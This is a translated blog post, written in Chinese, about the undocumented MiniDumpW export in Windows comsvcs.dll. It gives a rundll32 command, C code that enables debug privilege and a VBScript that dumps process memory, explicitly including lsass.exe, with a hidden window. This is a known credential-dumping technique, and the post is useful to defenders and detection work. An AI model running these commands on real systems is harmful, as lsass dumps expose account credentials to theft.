Posted on August 30, 2019 by odzhan
引言
这是一篇非常快速、以代码为导向的文章,内容是关于comsvcs.dll导出的一个DLL函数,我在网上找不到任何相关参考资料。
更新:Dmitry Vostokov于2008年出版的《Memory Dump Analysis Anthology Volume 1》中,有一章关于COM+崩溃转储的内容讨论了此函数。我之前没有找到的原因是,我搜索的是“MiniDumpW”而不是“MiniDump”。
在搜索导入DBGHELP!MiniDumpWriteDump的DLL/EXE时,我发现comsvcs.dll导出了一个名为MiniDumpW的函数,该函数似乎是专门为配合rundll32使用而设计的。它接受三个参数,但前两个参数会被忽略。第三个参数应该是一个包含在引号中的UNICODE字符串,该字符串由三个令牌/参数组合而成:第一个是进程ID,第二个是内存转储文件的保存位置,第三个要求使用关键字“full”,尽管最后一个参数没有其他替代选项。
要从命令行使用,请输入以下内容:"rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"",其中“1234”是要转储的目标进程。显然,这假定您有权查询和读取目标进程的内存。如果COMSVCS!MiniDumpW遇到错误,它只会调用KERNEL32!ExitProcess,您将看不到任何提示。以下C代码演示了如何动态调用它。
顺便说一下,HRESULT可能是不正确的返回类型。在内部,如果遇到参数问题,它会以E_INVALIDARG退出进程;但如果成功,则返回1。S_OK定义为0。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#define UNICODE
#include <windows.h>
#include <stdio.h>
typedef HRESULT (WINAPI *_MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if(MiniDumpW == NULL) {
printf("Unable to resolve COMSVCS!MiniDumpW.\n");
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
// dump process
MiniDumpW(0, 0, argv[1]);
printf("OK!\n");
return 0;
}
|
由于rundll32和comsvcs!MiniDumpW都不会启用访问lsass.exe所需的调试权限,以下VBScript在提升权限的进程中可以工作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump <process>")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name
pid = WScript.Arguments(0)
' connect with debug privilege
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "\" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
|
从提升权限的cmd提示符运行。
不知道这有多大用处,但由于它是操作系统的一部分,可能还是值得了解的。也许您会在已签名的二进制文件中找到类似的功能,用于执行目标进程的内存转储。